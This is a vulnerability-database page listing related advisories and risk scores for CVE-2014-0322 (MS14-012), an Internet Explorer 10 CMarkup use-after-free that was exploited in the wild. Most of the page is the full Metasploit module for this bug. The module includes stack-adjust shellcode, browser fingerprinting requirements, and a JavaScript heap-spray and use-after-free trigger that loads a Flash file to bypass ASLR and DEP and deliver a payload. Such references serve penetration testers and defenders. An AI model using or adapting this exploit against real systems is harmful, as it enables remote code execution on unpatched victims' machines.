MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

🗓️ 13 Feb 2014 00:00:00Reported by Unknown, Jean-Jamil Khalife, juan vazquez <[email protected]>Type

MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free This module exploits an use after free condition on Internet Explorer as used in the wild as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to bypass ASLR and DEP

Reporter	Title	Published	Views	Family All 52
zdt	Internet Explorer 10 & Adobe Flash Player (12.0.0.70, 12.0.0.77) - CMarkup Use-After-Free	15 Apr 201400:00	–	zdt
zdt	MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free	16 Apr 201400:00	–	zdt
Tenable Nessus	Microsoft Internet Explorer 6 through 11 Arbitrary Code Execution	29 Apr 201400:00	–	nessus
Tenable Nessus	MS KB2934088: Vulnerability in Internet Explorer Could Allow Remote Code Execution	20 Feb 201400:00	–	nessus
Tenable Nessus	MS14-012: Cumulative Security Update for Internet Explorer (2925418)	11 Mar 201400:00	–	nessus
ATTACKERKB	CVE-2014-0322	14 Feb 201400:00	–	attackerkb
ATTACKERKB	Microsoft Internet Explorer Use-After-Free Vulnerability	14 Feb 201400:00	–	attackerkb
BDU FSTEC	The vulnerability of the Internet Explorer browser, which allows a malicious actor to execute arbitrary code	5 Jul 201600:00	–	bdu_fstec
Circl	CVE-2014-0322	14 Feb 201410:09	–	circl
CISA KEV Catalog	Microsoft Internet Explorer Use-After-Free Vulnerability	4 May 202200:00	–	cisa_kev

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
        'Description' => %q{
          This module exploits an use after free condition on Internet Explorer as used in the wild
          as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
          bypass ASLR and DEP.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # Vulnerability discovery and Exploit in the wild
          'Jean-Jamil Khalife', # Exploit
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2014-0322' ],
          [ 'MSB', 'MS14-012' ],
          [ 'BID', '65551' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
          [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
        ],
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Payload' => {
          'Space' => 960,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
        'BrowserRequirements' => {
          :source => /script|headers/i,
          :os_name => 'Windows 7',
          :ua_name => Msf::HttpClients::IE,
          :ua_ver => '10.0',
          :mshtml_build => lambda { |ver| ver.to_i < 16843 },
          :flash => /^1[23]\./
        },
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'Retries' => false
        },
        'Targets' => [
          [ 'Windows 7 SP1 / IE 10 / FP 12', {} ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-02-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf")
    fd = ::File.open(path, "rb")
    swf = fd.read(fd.stat.size)
    fd.close
    return swf
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Pragma' => 'no-cache' })
      return
    end

    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Sending HTML...")
    send_exploit_html(cli, exploit_template(cli, target_info))
  end

  def exploit_template(cli, target_info)
    flash_payload = ""
    padded_payload = get_payload(cli, target_info)

    while padded_payload.length % 4 != 0
      padded_payload += "\x00"
    end

    padded_payload.unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")

    html_template = %Q|
    <html>
    <head>
    </head>
    <body>

    <script>

    var g_arr = [];
    var arrLen = 0x250;

    function dword2data(dword)
    {
      var d = Number(dword).toString(16);
      while (d.length < 8)
        d = '0' + d;

      return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
    }

    function eXpl()
    {
      var a=0;

      for (a=0; a < arrLen; a++) {
          g_arr[a] = document.createElement('div');
      }

      var b = dword2data(0x19fffff3);

      while (b.length < 0x360) {
        if (b.length == (0x98 / 2))
        {
          b += dword2data(0x1a000010);
        }
        else if (b.length == (0x94 / 2))
        {
          b += dword2data(0x1a111111);
        }
        else if (b.length == (0x15c / 2))
        {
          b += dword2data(0x42424242);
        }
        else
        {
          b += dword2data(0x19fffff3);
        }
      }

      var d = b.substring(0, ( 0x340 - 2 )/2);

      try{
        this.outerHTML=this.outerHTML
      } catch(e){

      }

      CollectGarbage();

      for (a=0; a < arrLen; a++)
        {
          g_arr[a].title = d.substring(0, d.length);
        }
    }

    function trigger()
    {
        var a = document.getElementsByTagName("script");
        var b = a[0];
        b.onpropertychange = eXpl;
        var c = document.createElement('SELECT');
        c = b.appendChild(c);
    }

    </script>
    <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
    </embed>
    </body>
    </html>
    |

    return html_template, binding()
  end
end

13 Feb 2014 00:00Current

7.8High risk

Vulners AI Score7.8

CVSS 3.18.8

CVSS 29.3

EPSS0.85175

SSVC